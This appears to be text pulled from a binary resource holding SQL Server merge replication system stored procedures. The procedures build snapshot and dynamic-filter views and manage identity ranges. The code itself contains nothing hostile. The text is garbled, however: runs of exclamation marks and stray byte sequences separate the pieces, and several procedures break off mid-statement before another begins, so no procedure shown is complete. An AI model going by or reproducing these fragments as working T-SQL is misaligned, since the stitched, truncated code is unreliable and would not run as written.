                    if @@ERROR<>0 or @retcode<>0 return (1)
                end

                if @ctsview_rowtrack is not NULL
                begin
                    exec @retcode = sys.sp_MS_marksystemobject @ctsview_rowtrack 
                    if @@ERROR<>0 or @retcode<>0 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(vUcreate procedure sys.sp_MSgettablecontents 
    @pubid uniqueidentifier,
    @dynamic_snapshot_views_table_name sysname = NULL,
    @need_ctsview_rowtrack bit = 0,
    @create_dynamic_views bit = 0,
    @max_bcp_gen bigint
as 
    declare @tablenick              int
    declare @new_active             int
    declare @new_inactive           int
    declare @artname                sysname
    declare @view_name_90_forall    nvarchar(60)
    declare @view_name_90_forglobal nvarchar(60)
    declare @view_name_rowtrack     nvarchar(60)
    declare @view_name_80           nvarchar(60)
    declare @filters_view_80        nvarchar(60)
    declare @filters_view_90        nvarchar(60)
    declare @quoted_view_name_90_forall nvarchar(70)
    declare @quoted_view_name_90_forglobal nvarchar(70)
    declare @quoted_view_name_rowtrack nvarchar(70)
    declare @quoted_view_name_80    nvarchar(70)
    declare @quoted_filters_view_80 nvarchar(60)
    declare @quoted_filters_view_90 nvarchar(60)
    declare @rowguidcolname         sysname
    declare @sync_viewname          sysname
    declare @quoted_sync_viewname   sysname
    declare @objid                  int
    declare @guidstr        nvarchar(40)
    declare @retcode int
    declare @tablenickstr nvarchar(12)
    declare @view_name nvarchar(270)
    declare @select_command nvarchar(4000)
    declare @processing_order int
    declare @tempguid uniqueidentifier
    declare @artid uniqueidentifier
    declare @unique_art_name sysname
    declare @upload_options tinyint
    declare @compatlevel int
    declare @column_tracking int
    declare @colv_entries int

    set @guidstr = '''' + convert(nchar(36), @pubid) + ''''
    
    select @new_inactive = 5 --special article status for adding article after snapshot
    select @new_active = 6   --special article status for adding article after snapshot

    select @compatlevel = backward_comp_level from dbo.sysmergepublications where pubid = @pubid

    select Top 1 @tablenick = nickname, @processing_order = processing_order, 
        @sync_viewname=object_name(sync_objid), @objid=objid, @artname=name, @artid=artid,
        @upload_options = upload_options, @column_tracking = column_tracking
    from dbo.sysmergearticles 
    where pubid = @pubid 
    and (status=@new_inactive or status=@new_active)
    order by processing_order desc, nickname desc
    while @objid is not null
    begin
        select @colv_entries = sys.fn_cColvEntries_80(@pubid, @tablenick)
        if @dynamic_snapshot_views_table_name is not NULL or @create_dynamic_views = 1
            select @tempguid = newid()
        else
            select @tempguid = @artid
            
        exec @retcode = sys.sp_MSguidtostr @tempguid, @unique_art_name out
        if @@ERROR<>0 OR @retcode<>0 return (1)

        if (@dynamic_snapshot_views_table_name is not NULL)
        begin
            select @select_command = '
                select @view_name = dsvt.dynamic_snapshot_view_name 
                  from dbo.sysmergearticles sma
                inner join ' + quotename(@dynamic_snapshot_views_table_name) + ' dsvt 
                    on dsvt.artid = sma.artid            
                 where pubid = @pubid 
                   and nickname = @tablenick'
            exec sys.sp_executesql @select_command,
                               N'@view_name nvarchar(270) output,
                                 @pubid uniqueidentifier,
                                 @tablenick int',
                               @view_name = @view_name output,
                               @pubid = @pubid,
                               @tablenick = @tablenick  
            if @@error<>0 return(1)
            select @quoted_sync_viewname = quotename(@view_name)
        end
        else
        begin
            select @quoted_sync_viewname = QUOTENAME(@sync_viewname)
        end

        set @tablenickstr = convert(nchar(12), @tablenick)
        select @rowguidcolname = name from sys.columns where object_id = @objid and is_rowguidcol=1

        -- Must drop the view (if exists) and recreate
        -- We have 80 and 90 views here. Since a 90 publisher can only be run with a 90 snapshot agent
        -- the 90 snapshot agent should be able to create the incremental sysmergesubsetfilters bcp
        -- file for both 90 and 80. The 80 merge agent should be able bcp in this file based on the
        -- parameters specified in the schema text.

        -- only create contents bcp if there are contents rows
        if exists (select 1 from dbo.MSmerge_contents where tablenick = @tablenick)
        begin
            if @upload_options<>1 and @upload_options<>2
            begin
                select @view_name_90_forall='MSmerge_contents_' + @unique_art_name + '_90_forall'
                select @quoted_view_name_90_forall=QUOTENAME(@view_name_90_forall)

                if object_id(@view_name_90_forall,'V') is not NULL
                begin
                    exec ('drop view ' + @quoted_view_name_90_forall)
                end
                select @select_command = 'create view [dbo].' + @quoted_view_name_90_forall + 
                    ' as select * from dbo.MSmerge_contents 
                            where (tablenick = ' + @tablenickstr + ' and 
                            rowguid in (select ' + quotename(@rowguidcolname) + ' from ' + @quoted_sync_viewname + ')
                    ) and generation <= ' + convert(nvarchar, @max_bcp_gen)
                exec (@select_command)
                if @@error<>0 return 1
                exec @retcode = sys.sp_MS_marksystemobject @quoted_view_name_90_forall 
                if @@ERROR<>0 or @retcode<>0  return (1)

                select @view_name_90_forglobal = NULL
            end
            else
            begin
                select @view_name_90_forall = NULL

                select @view_name_90_forglobal='MSmerge_contents_' + @unique_art_name + '_90_forglobal'
                select @quoted_view_name_90_forglobal=QUOTENAME(@view_name_90_forglobal)
                
                if object_id(@view_name_90_forglobal,'V') is not NULL
                begin
                    exec ('drop view ' + @quoted_view_name_90_forglobal)
                end
                select @select_command = 'create view [dbo].' + @quoted_view_name_90_forglobal + 
                    ' as select * from dbo.MSmerge_contents 
                            where (tablenick = ' + @tablenickstr + ' and 
                            rowguid in (select ' + quotename(@rowguidcolname) + ' from ' + @quoted_sync_viewname + ') 
                    ) and generation <= ' + convert(nvarchar, @max_bcp_gen)
                exec (@select_command)
                if @@error<>0 return 1
                exec @retcode = sys.sp_MS_marksystemobject @quoted_view_name_90_forglobal 
                if @@ERROR<>0 or @retcode<>0  return (1)
            end          
            
            if @need_ctsview_rowtrack = 1 and @upload_options<>1 and @upload_options<>2
            begin
                select @view_name_rowtrack='MSmerge_contents_' + @unique_art_name + '_rowtrack'
                select @quoted_view_name_rowtrack=QUOTENAME(@view_name_rowtrack)

                if object_id(@view_name_rowtrack,'V') is not NULL
                begin
                    exec ('drop view ' + @quoted_view_name_rowtrack)
                end
                select @select_command = 'create view [dbo].' + @quoted_view_name_rowtrack + 
                    ' as select 
                            tablenick, 
                            rowguid, 
                            changetype=cast(11 as tinyint), -- @METADATA_TYPE_UpsertLightweightProcessed
                            changed=cast(sys.fn_MSdayasnumber(getdate()) as int),
                            rowvector=substring(lineage, 1, 10) + 0xFF,
                  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<nY0U          changedcolumns=cast(null as varbinary),
                            columns_enumeration='
                if @column_tracking = 1
                    select @select_command = @select_command + 'cast (0 as tinyint)'
                else
                    select @select_command = @select_command + 'cast (2 as tinyint)'
                select @select_command = @select_command + ',
                        sync_cookie=null
                        from dbo.MSmerge_contents 
                        where (tablenick = ' + @tablenickstr + ' and 
                               rowguid in (select ' + quotename(@rowguidcolname) + ' from ' + @quoted_sync_viewname + ') 
                              ) and generation <= ' + convert(nvarchar, @max_bcp_gen)
                exec (@select_command)                
                if @@error<>0 return 1
                exec @retcode = sys.sp_MS_marksystemobject @quoted_view_name_rowtrack 
                if @@ERROR<>0 or @retcode<>0  return (1)
            end
            else
                select @view_name_rowtrack = NULL

            if @compatlevel < 90
            begin
                select @view_name_80='MSmerge_contents_' + @unique_art_name
                select @quoted_view_name_80=QUOTENAME(@view_name_80)

                if object_id(@view_name_80,'V') is not NULL
                begin
                    exec ('drop view ' + @quoted_view_name_80)
                end

                -- need to only select out of the forall view. The reason is that upload_options
                -- cannot be 1 or 2 when the pub compat level is less than 90. Hence this view
                -- has to be there.
                select @select_command = 'create view [dbo].' + @quoted_view_name_80 + ' as 
                select tablenick, rowguid, 
                generation = case when abs(generation) > 2147483647 then 0 else isnull(convert(int, generation),0) end, 
                partchangegen = case when abs(partchangegen) > 2147483647 then 0 else convert(int, case when partchangegen < 0 then NULL else partchangegen end) end,
                joinchangegen = case when abs(partchangegen) > 2147483647 then 0 else convert(int, case when partchangegen < 0 then (-partchangegen) else partchangegen end) end,
                lineage = {fn LINEAGE_90_TO_80(lineage)}, 
                colv1 = '
                if @column_tracking = 1
                    select @select_command = @select_command + '{fn COLV_90_TO_80(colv1, ' + convert(nvarchar(8), @colv_entries) + ')}'
                else
                    select @select_command = @select_command + 'cast(null as varbinary)'
                select @select_command = @select_command + '
                from ' + @quoted_view_name_90_forall 
                
                exec (@select_command)
                if @@error<>0 return 1
                exec @retcode = sys.sp_MS_marksystemobject @quoted_view_name_80 
                if @@ERROR<>0 or @retcode<>0  return (1)

            end
            else
                select @view_name_80 = NULL
        end
        else
        begin
            select @view_name_90_forall = NULL
            select @view_name_90_forglobal = NULL
            select @view_name_rowtrack = NULL
            select @view_name_80 = NULL
        end

        select @filters_view_90='sysmergesubsetfilters_' + @unique_art_name + '_90'
        select @quoted_filters_view_90=QUOTENAME(@filters_view_90)

        if object_id(@filters_view_90,'V') is not NULL
        begin
            exec ('drop view ' + @quoted_filters_view_90)
        end
        exec('create view [dbo].' + @quoted_filters_view_90 + 
            ' as select filtername, join_filterid, pubid, artid, art_nickname, join_articlename, 
                join_nickname, join_unique_key, expand_proc, join_filterclause, filter_type from dbo.sysmergesubsetfilters 
                    where art_nickname = ' + @tablenickstr + ' and pubid = ' + @guidstr)
        if @@error<>0 return 1
        exec @retcode = sys.sp_MS_marksystemobject @quoted_filters_view_90 
        if @@ERROR<>0 or @retcode<>0  return (1)

        if @compatlevel < 90
        begin
            select @filters_view_80='sysmergesubsetfilters_' + @unique_art_name + '_80'
            select @quoted_filters_view_80=QUOTENAME(@filters_view_80)
            
            if object_id(@filters_view_80,'V') is not NULL
            begin
                exec ('drop view ' + @quoted_filters_view_80)
            end
            exec('create view [dbo].' + @quoted_filters_view_80 + 
                ' as select filtername, join_filterid, pubid, artid, art_nickname, join_articlename, 
                    join_nickname, join_unique_key, expand_proc, join_filterclause from dbo.sysmergesubsetfilters 
                        where art_nickname = ' + @tablenickstr + ' and pubid = ' + @guidstr)
            if @@error<>0 return 1
            exec @retcode = sys.sp_MS_marksystemobject @quoted_filters_view_80 
            if @@ERROR<>0 or @retcode<>0  return (1)
        end
        else
            select @filters_view_80 = NULL
        
InsertIntoSysTables:
        select @objid = NULL
        select Top 1 @tablenick = nickname, @processing_order = processing_order, 
            @sync_viewname=object_name(sync_objid), @objid=objid, @artname=name, @artid=artid,
            @upload_options = upload_options 
        from dbo.sysmergearticles 
        where pubid = @pubid 
        and (
                (processing_order = @processing_order and nickname < @tablenick)
                or 
                processing_order < @processing_order
            )
        and (status=@new_inactive or status=@new_active) 
        order by processing_order desc, nickname desc
        insert #temp_table_for_systable_view(contentsview, filtersview, contentsview_90_forall, contentsview_90_forglobal, filtersview_90, rowtrackview) 
        values(@view_name_80, @filters_view_80, @view_name_90_forall, @view_name_90_forglobal, @filters_view_90, @view_name_rowtrack)        
    end 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(}v,
create procedure sys.sp_MSmakedynsnapshotvws(
    @publication sysname, 
    @dynamic_filter_login sysname,
    @dynamic_snapshot_views_table_name sysname = NULL
    )
as
begin
    set nocount on
    declare @retcode int
    declare @string_literalized_dynamic_filter_login nvarchar(4000)
    declare @articles_cursor_allocated bit, 
            @articles_cursor_opened bit
    declare @pubid uniqueidentifier
    declare @partition_id int
    declare @publication_number int
    declare @dynamic_filter_hostname sysname
    declare @get_dynamic_filter_login_fn nvarchar(350)
    declare @get_dynamic_filter_login_value nvarchar(300)
	declare @stmt nvarchar(4000)

    select @articles_cursor_allocated = 0
    select @articles_cursor_opened = 0
    select @retcode = 0
    -- Security check

    exec @retcode = sys.sp_MSreplcheck_publish
    if @retcode <> 0 or @@error <> 0
        return 1

    if @dynamic_filter_login is null or @dynamic_filter_login = N''
    begin
        select @dynamic_filter_login = suser_sname()
    end
    if @@error<>0
    begin
        return 1
    end
    select @string_literalized_dynamic_filter_login = 
        fn_replmakestringliteral(@dynamic_filter_login) collate database_default

    select @dynamic_filter_hostname = host_name()
    
    -- map the dynamic filter longin to a partition id
    select @partition_id = -1
    exec @retcode = sys.sp_MSget_subscriber_partition_id 
                        @publication,
                        @partition_id output,
                        NULL,
                        @dynamic_filter_hostname,
                        @dynamic_filter_login
    if @@error <> 0 or @retcode <> 0 or @partition_id is NULL or @partition_id = -1
    begin
        raiserror(20629, 16, -1)
        return 1
    end    

    -- Compute the proper view creation order, code is copied from sp_MSpublicationview
    declare @progress int
    declare @article_level int
    select @progress = 1
    select @article_level = 0
    select @pubid = pubid, @publication_number = publication_number
      from dbo.sysmergepublications 
    where upper(publisher) = upper(publishingservername())
      and publisher_db = db_name()
      and name = @publication
    if @pubid is null 
    begin
        raiserror(20026,11,-1,@publication)
    end

    select @get_dynamic_filter_login_value = sys.fn_MSget_dynamic_filter_login(@publication_number,@partition_id)
    select @get_dynamic_filter_login_value = 'N''' + replace(@get_dynamic_filter_login_value, '''', '''''') + ''''    

    create table #creation_order
    (
    creation_order int identity not null,
    art_nick int not null,
    article_level int not null    
    )
    if @@error<>0
    begin
        return 1
    end
    
    while @progress > 0
    begin
        insert into #creation_order(art_nick, article_level)
            select nickname, @article_level 
              from dbo.sysmergearticles
             where pubid=@pubid 
               and nickname not in (select art_nick from #creation_order)
               and nickname not in
                    (select art_nickname from dbo.sysmergesubsetfilters
                      where pubid=@pubid and (filter_type & 1) = 1 and join_nickname not in
                        (select art_nick from #creation_order))
        select @progress = @@rowcount
        select @article_level = @article_level + 1
    end

    -- Create temp table for storing the view definitions and 
    -- also for acting as a symbol table for views
    create table #view_defs_and_syms  
    (
        creation_order int identity,
        original_view_name sysname collate database_default,
        dynamic_snapshot_view_name sysname collate database_default,
        dynamic_snapshot_view_definition nvarchar(max) collate database_default
    )      
    if @@error<>0
    begin
        return 1
    end
    -- By the time this procedure is called by the snapshot agent, a regular
    -- snapshot is assumed to have been generated.
    -- The specified publication is assumed to have dynamic filtering enabled        
    -- Open a transaction to make sure that no stale temporary views
    -- can be lying around for longer than they have to.  
    
    begin transaction
    save transaction sp_MSmakedynsnapshotartvws

    -- Create a global temporary table to track the sync-views
    -- that we are about to create here.
    if @dynamic_snapshot_views_table_name is NULL
    begin
        select @dynamic_snapshot_views_table_name = N'##DYN_VIEWS_' + 
            replace(convert(nvarchar(36), newid()), N'-', N'_')
             
        set @stmt = 'create table ' + quotename(@dynamic_snapshot_views_table_name) + '
              (
              artid           uniqueidentifier primary key,
              dynamic_snapshot_view_name sysname not null unique
              )'
		exec(@stmt)
        if @@error<>0
        begin
            goto Failure
        end
    end

    declare hArticles cursor local fast_forward for
    select artid, sync_objid, co.art_nick 
      from dbo.sysmergearticles sma
    inner join #creation_order co 
        on sma.nickname = co.art_nick
     where sma.pubid = @pubid
    order by co.creation_order asc
    if @@error<>0
    begin
        goto Failure
    end
    select @articles_cursor_allocated = 1
    open hArticles    
    if @@error<>0
    begin
        goto Failure
    end
    select @articles_cursor_opened = 1

    declare @sync_objid int
    declare @artid uniqueidentifier
    declare @dynamic_snapshot_view_name sysname
    declare @original_view_name sysname 
    declare @insert_command nvarchar(4000)
    declare @min_id int
    declare @db_name sysname
    declare @original_view_definition nvarchar(max)
    declare @artnick int

    select @db_name = db_name()

    -- Stage 1: Build up the symbol table with 
    -- regular sync view definitions
    fetch hArticles into @artid, @sync_objid, @artnick
    
    while (@@fetch_status<>-1)
    begin
                declare @row_number int, @max_row_number int
                
                select @max_row_number = 1, @row_number = 1
                
        -- Get name of the original sync view
        select @original_view_name = object_name(@sync_objid)

        -- Construct name for the dynamic snapshot view        
        select @dynamic_snapshot_view_name = N'MSmerge_DYN_VIEW_' + 
            replace(convert(nvarchar(20), @artnick), N'-', N'_') + '_' +
            replace(convert(nvarchar(36), newid()), N'-', N'_')
        
                select @max_row_number = max(colid) 
                from dbo.syscomments
        where id = @sync_objid
                
                select @row_number = 1, @original_view_definition = N''
                while @row_number <= @max_row_number
                begin
                        select @original_view_definition = @original_view_definition + text 
                        from dbo.syscomments
                        where id = @sync_objid
                        and colid = @row_number
                        
                        select @row_number = @row_number + 1
                end

                -- Insert a row into the symbol and view def table 
                -- for further processing 
        
		-- Neither original_view_name nor dynamic_snapshot_view_name should be quoted here as both columns
		--  are sysnames and could potentially be truncated				
        insert #view_defs_and_syms 
        values (@original_view_name, 
                @dynamic_snapshot_view_name, 
                @original_view_definition) 
        if @@error<>0
        begin
            goto Failure
        end
    
        select @insert_command = N'insert ' + quotename(@dynamic_snapshot_views_table_name) + ' values (@artid, @dynamic_snapshot_view_name)'
        -- Inser!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(ilv,t the mapping into the global temp table
        exec @retcode = sys.sp_executesql
            @insert_command,
            N'@artid uniqueidentifier, @dynamic_snapshot_view_name sysname',
            @artid = @artid,
            @dynamic_snapshot_view_name = @dynamic_snapshot_view_name

        if @@error<>0 or @retcode<>0
        begin
            goto Failure
        end

        -- Insert the view name into the global tracking table so it is 
        -- guaranteed to be cleaned up properly 
        insert MSdynamicsnapshotviews values (@dynamic_snapshot_view_name)
        if @@error<>0
        begin
            goto Failure
        end

        fetch hArticles into @artid, @sync_objid, @artnick
    end
    close hArticles
    select @articles_cursor_opened = 0
    deallocate hArticles
    select @articles_cursor_allocated = 0
    -- Stage 2: Fix-up all the internal references to non-dynamic snapshot
    --          views inside the dynamic snapshot view definitions and
    --          create the views along the way.

    -- Cursor state variables for ensuring proper cursor cleanup
    declare @viewdefs_cursor_allocated bit,
            @viewdefs_cursor_opened bit,
            @symbols_cursor_allocated bit,
            @symbols_cursor_opened bit
 
    declare @dynamic_snapshot_view_definition nvarchar(max)
    declare @dynamic_filter_login_fn_definition nvarchar(max)
    declare @dynamic_snapshot_view_name_symbol sysname
    declare @qualified_dynamic_snapshot_view_name nvarchar(4000)

    select @viewdefs_cursor_allocated = 0,
           @viewdefs_cursor_opened = 0,
           @symbols_cursor_allocated = 0,
           @symbols_cursor_opened = 0

    -- Declare a cursor for each dynamic snapshot view definition
    declare hViewDefs cursor local fast_forward for
    select dynamic_snapshot_view_name,
           dynamic_snapshot_view_definition 
      from #view_defs_and_syms
    order by creation_order asc

    if @@error<>0
    begin
        goto Failure
    end
    select @viewdefs_cursor_allocated = 1
    
    -- Declare a static cursor for symbol lookup so we can go back to the 
    -- first row without tearing down the cursor   
    declare hSymbols cursor local static for
    select original_view_name,
           dynamic_snapshot_view_name
      from #view_defs_and_syms
    if @@error<>0
    begin
        goto Failure
    end
    select @symbols_cursor_allocated = 1
    
    open hViewDefs
    if @@error<>0
    begin
        goto Failure
    end
    select @viewdefs_cursor_opened = 1
    open hSymbols
    if @@error<>0
    begin
        goto Failure
    end
    select @symbols_cursor_opened = 1
     
    -- For each view definition...
    fetch hViewDefs into @dynamic_snapshot_view_name, 
                         @dynamic_snapshot_view_definition
    while (@@fetch_status<>-1)
    begin

        select @get_dynamic_filter_login_fn = N'dbo.' + quotename(@dynamic_snapshot_view_name + N'_FN')

        -- For each dynamic snapshot view name to original view name mapping...
        fetch first from hSymbols into @original_view_name,
                                       @dynamic_snapshot_view_name_symbol 
        while (@@fetch_status<>-1)
        begin
            -- Do view name replacement
            select @qualified_dynamic_snapshot_view_name = quotename(@dynamic_snapshot_view_name_symbol)

            select @dynamic_snapshot_view_definition =
                replace(@dynamic_snapshot_view_definition,
                        quotename(@original_view_name),
                        @qualified_dynamic_snapshot_view_name)
            fetch hSymbols into @original_view_name,
                                @dynamic_snapshot_view_name_symbol 
        end
        -- Replace suser_sname() with string literalized version of the given
        -- dynamic filter login 
        select @dynamic_snapshot_view_definition =
            replace(@dynamic_snapshot_view_definition collate SQL_Latin1_General_CP1_CI_AS,
                    N'suser_sname()' collate SQL_Latin1_General_CP1_CI_AS,
                    @get_dynamic_filter_login_fn + N'()' collate SQL_Latin1_General_CP1_CI_AS)

        -- Replace system_user with string literalized version of the given
        -- dynamic filter login 
        select @dynamic_snapshot_view_definition =
            replace(@dynamic_snapshot_view_definition collate SQL_Latin1_General_CP1_CI_AS,
                    N'system_user' collate SQL_Latin1_General_CP1_CI_AS,
                    @get_dynamic_filter_login_fn + N'()' collate SQL_Latin1_General_CP1_CI_AS)
        if datalength(@dynamic_snapshot_view_definition) = 7000
        begin
            raiserror(21387,16,-1)
            goto Failure
        end


        -- Create the function with schema binding and mark it as a system object.
		-- @get_dynamic_filter_login_fn is already quoted, so there is no need to quote it here
        select @dynamic_filter_login_fn_definition = N'
            create function ' + @get_dynamic_filter_login_fn + N'()
            returns sysname
            WITH SCHEMABINDING
            as
            begin
            	return ' + @get_dynamic_filter_login_value + N'
            end'

        exec (@dynamic_filter_login_fn_definition)
        if @@error<>0
        begin
            goto Failure
        end
        exec @retcode = sys.sp_MS_marksystemobject @get_dynamic_filter_login_fn
        if @@error<>0 or @retcode<>0
        begin
            goto Failure
        end
       
        -- Create the view and mark it as a system object
        exec (@dynamic_snapshot_view_definition)
        if @@error<>0
        begin
            goto Failure
        end
        exec @retcode = sys.sp_MS_marksystemobject @dynamic_snapshot_view_name
        if @@error<>0 or @retcode<>0
        begin
            goto Failure
        end
        fetch hViewDefs into @dynamic_snapshot_view_name,
                             @dynamic_snapshot_view_definition
    end

    close hViewDefs
    deallocate hViewDefs
    close hSymbols
    deallocate hSymbols
    drop table #view_defs_and_syms
    drop table #creation_order
    commit transaction     

    -- Construct the result set 
    declare @dynamic_snapshot_view_owner sysname

    -- Since all views will have the same owner, we may as well just 
    -- find it once and then return it in the second row of the result set
    -- (see header)    

    -- Note: Even the cursors are closed, the @dynamic_snapshot_view_name
    -- variable should still contain a valid value

    select @dynamic_snapshot_view_owner = SCHEMA_NAME(schema_id) 
      from sys.objects 
     where name = @dynamic_snapshot_view_name
    declare @result_command nvarchar(4000) 
    select @result_command = '    
    select ''article_name'' = null, 
           ''dynamic_snapshot_view_name'' = ' + 
           fn_replmakestringliteral(@dynamic_snapshot_views_table_name) collate database_default + N'
    union all
    select null, ' +
           coalesce(fn_replmakestringliteral(@dynamic_snapshot_view_owner) collate database_default, N'null') collate database_default + N' 
    union all 
    select sma.name, dsvt.dynamic_snapshot_view_name
      from dbo.sysmergearticles sma
    inner join ' + quotename(@dynamic_snapshot_views_table_name) + N' dsvt
      on sma.artid = dsvt.artid
    where sma.pubid = ''' + convert(nvarchar(128), @pubid) + ''''

    exec (@result_command)
    if @@error<>0 
        return 1

    return 0     
Failure:
    if @articles_cursor_opened = 1
    begin
        close hArticles
    end
    if @articles_cursor_allocated = 1
    begin
        deallocate hArticles
    end
    if @viewdefs_cursor_opened = 1
    begin
        close hViewDefs
    end
    if @viewdefs_cursor_allocated = 1
    begin
        deallocate hViewDefs
    end
    if @symbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(jv`-- this stored procedure should be called on the subscriber to check if the
-- subscriber needs a new identity range
create procedure sys.sp_MSget_identity_range_info
    @subid uniqueidentifier,
    @artid uniqueidentifier,
    @range_type tinyint, -- 1=publisher range, 2=subscriber range
    @ranges_needed tinyint output, -- 0=none needed, 1=one range needed, 2=both ranges needed
    @range_begin numeric(38,0) output,
    @range_end numeric(38,0) output,
    @next_range_begin numeric(38,0) output,
    @next_range_end numeric(38,0) output
as
    declare @max_used numeric(38,0)
    declare @ident_increment numeric(38,0)
    declare @retcode int
    declare @is_pub_range bit
    declare @objid int
    declare @qualified_table_name nvarchar(517)

    exec @retcode = sys.sp_MSreplcheck_subscribe
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    exec @retcode = sys.sp_MScheck_article_auto_identity @artid, @objid output, @qualified_table_name output
    if @retcode<>0 or @@error<>0
        return 1
        
    select @ident_increment = IDENT_INCR(@qualified_table_name)

    if @range_type = 1
    begin
        select @is_pub_range = 1
    end
    else
    begin
        select @is_pub_range = 0
    end
    
    if not exists (select * from dbo.MSmerge_identity_range where subid=@subid and artid=@artid and is_pub_range=@is_pub_range)
    begin
        -- we did not find the entry to get information about it. The entry should be present
        -- when this proc is called. sp_MSsetup_identity_range proc called during the initial
        -- merge should have created the entry.

        -- however if this is an incrementally added article return information saying that both ranges are needed
        if exists (select * from dbo.sysmergearticles 
                    where artid=@artid and (status = 5 or status = 6) and 
                          pubid in (select pubid from dbo.sysmergesubscriptions where subid=@subid))
        begin
            return 0
        end
        else
        begin
            RAISERROR(20671, 16, -1)
            return (1)
        end
    end

    -- now check how much of the range has been used.
    select @range_begin = range_begin,
           @range_end = range_end,
           @next_range_begin = next_range_begin,
           @next_range_end = next_range_end,
           @max_used = max_used
        from dbo.MSmerge_identity_range where subid=@subid and artid=@artid and is_pub_range=@is_pub_range
    if @is_pub_range = 0
    begin
        declare @ident_current numeric(38,0)
        select @ident_current = IDENT_CURRENT(@qualified_table_name)

        -- the range begin would be null if this is an attached subscription
        if @range_begin is NULL or @range_end is NULL
        begin
            select @ranges_needed = 2
            return 0
        end

        -- since range_begin above was not null it means that we have atleast one valid range in our 
        -- idrange metadata tables. Now if ident_curent is NULL then it means something is wrong.
        -- I have noticed that this is the case after upgrade from shiloh. To guard against possible
        -- shiloh bugs we will reseed the talbe to the first range begin
        if @ident_current is NULL
        begin
            -- if last_value is still null it means that server is going to start inserting from range_begin
            -- but we really want the server to start inserting from range_begin + ident_increment. Hence
            -- we need to do this extra step
            if exists (select 1 from sys.identity_columns where object_id=@objid and last_value is NULL)
            begin
                declare @temp_range_begin numeric(38,0)
                select @temp_range_begin = @range_begin + @ident_increment
                DBCC CHECKIDENT(@qualified_table_name, RESEED, @temp_range_begin) with no_infomsgs
                select @ident_current = IDENT_CURRENT(@qualified_table_name)
            end
            else
            begin
                DBCC CHECKIDENT(@qualified_table_name, RESEED, @range_begin) with no_infomsgs
                select @ident_current = IDENT_CURRENT(@qualified_table_name)
            end
        end

        -- here it is possible that on the subscriber the inserts were all done by non-dbo users
        -- in that case code that advances to using the next range in the insert trigger would not have got executed
        -- since we know that this proc was called by a user who is an admin on the subscriber, check
        -- here if we need to start using the second range and if so do the dbcc checkident        
        -- the id range check constraint refresh would have done a dbcc reseed only if both ranges
        -- are being refreshed. However we can be in a situation when (for positive increment)
        -- range_end <= ident_current < next_range_begin. In that case we need to do a reseed.
        if (@ident_increment > 0 and @range_end <= @ident_current and @ident_current < @next_range_begin) or
           (@ident_increment < 0 and @ident_current > @next_range_begin and @range_end >= @ident_current)
        begin
            DBCC CHECKIDENT(@qualified_table_name, RESEED, @next_range_begin) with no_infomsgs
            select @ident_current = IDENT_CURRENT(@qualified_table_name)
        end

        select @ranges_needed = sys.fn_MSMerge_get_ranges_needed( 
                                            @ident_increment, 
                                            @ident_current, 
                                            @range_begin, 
                                            @range_end, 
                                            @next_range_begin, 
                                            @next_range_end)

        -- next range begin would be NULL if this is an upgrade. In Shiloh we only allocated
        -- one range. We get that one range and put in in the range_begin and range_end values on
        -- upgrade. hence next range begin and end will be NULL after upgrade. So if this is
        -- the case we should request for atleast one range.
        if @next_range_begin is NULL or @next_range_end is NULL
        begin
            select @next_range_begin = @range_begin
            select @next_range_end = @range_end
            update dbo.MSmerge_identity_range 
                set next_range_begin = @next_range_begin,
                    next_range_end = @next_range_end
                where subid=@subid and artid=@artid and is_pub_range=@is_pub_range
        end
    end
    else
    begin
        -- the range begin would be null if this is an attached subscription
        if @range_begin is NULL or @range_end is NULL
        begin
            select @ranges_needed = 2
            return 0
        end
        
        select @ranges_needed = sys.fn_MSMerge_get_ranges_needed( 
                                            @ident_increment, 
                                            @max_used, 
                                            @range_begin, 
                                            @range_end, 
                                            @next_range_begin, 
                                            @next_range_end)
        
        -- next range begin would be NULL if this is an upgrade. In Shiloh we only allocated
        -- one range. hence next range begin and end will be NULL after upgrade. So if this is
        -- the case we should request for atleast one range.
        if @next_range_begin is NULL or @next_range_end is NULL
        begin
            select @next_range_begin = @range_begin
            select @next_range_end = @range_end
            update dbo.MSmerge_identity_range 
                set next_range_begin = @next_range_begin,
                    next_range_end = @next_range_end
                where subid=@subid and artid=@artid and is_pub_range=@is_pub_r!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	!<Y_}x0U0 8create procedure sys.sp_MSdropdisabledmltrigger
    @source_object sysname,
    @source_owner sysname
as
    declare @artid uniqueidentifier
    declare @cmd nvarchar(1000)
    declare @triggername nvarchar(130)
    declare @guidstr nchar(32)
